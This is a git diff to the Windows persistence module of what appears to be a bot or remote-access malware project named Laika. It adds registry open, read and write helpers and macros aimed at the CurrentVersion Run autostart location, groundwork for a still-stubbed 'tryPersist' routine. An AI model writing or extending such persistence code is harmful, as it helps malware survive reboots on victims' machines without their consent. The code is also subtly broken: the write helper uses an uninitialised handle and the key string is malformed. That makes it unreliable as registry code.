diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index 10a751b..57024ba 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -4,12 +4,16 @@ #include "persist.h" #include "lconfig.h" +#include "lmem.h" #include "lerror.h" /* we want a semi-random mutex that is stable between similar builds, * so we use the GIT_VERSION as our mutex :D */ #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0" +#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion" +#define LAIKA_REG_VAL "Run" + HANDLE laikaB_mutex; /* check if laika is running as super-user */ @@ -34,6 +38,40 @@ void laikaB_unmarkRunning() { ReleaseMutex(laikaB_mutex); } +HKEY openReg(HKEY key, LPCTSTR subKey) { + HKEY hKey; + LONG code; + + if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS) + LAIKA_ERROR("Failed to open registry key!\n"); + + return hKey; +} + +/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */ +LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { + LPCTSTR str; + DWORD ret; + + /* get the size */ + *sz = 0; + RegQueryValueEx(key, val, NULL, NULL, NULL, sz); + str = (LPCTSTR)laikaM_malloc(*sz); + + if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) + LAIKA_ERROR("Failed to read registry!\n"); + + return str; +} + +void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) { + HKEY hKey; + LONG code; + + if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) + LAIKA_ERROR("Failed to write registry!\n"); +} + /* try to gain persistance on machine */ void laikaB_tryPersist() { /* stubbed */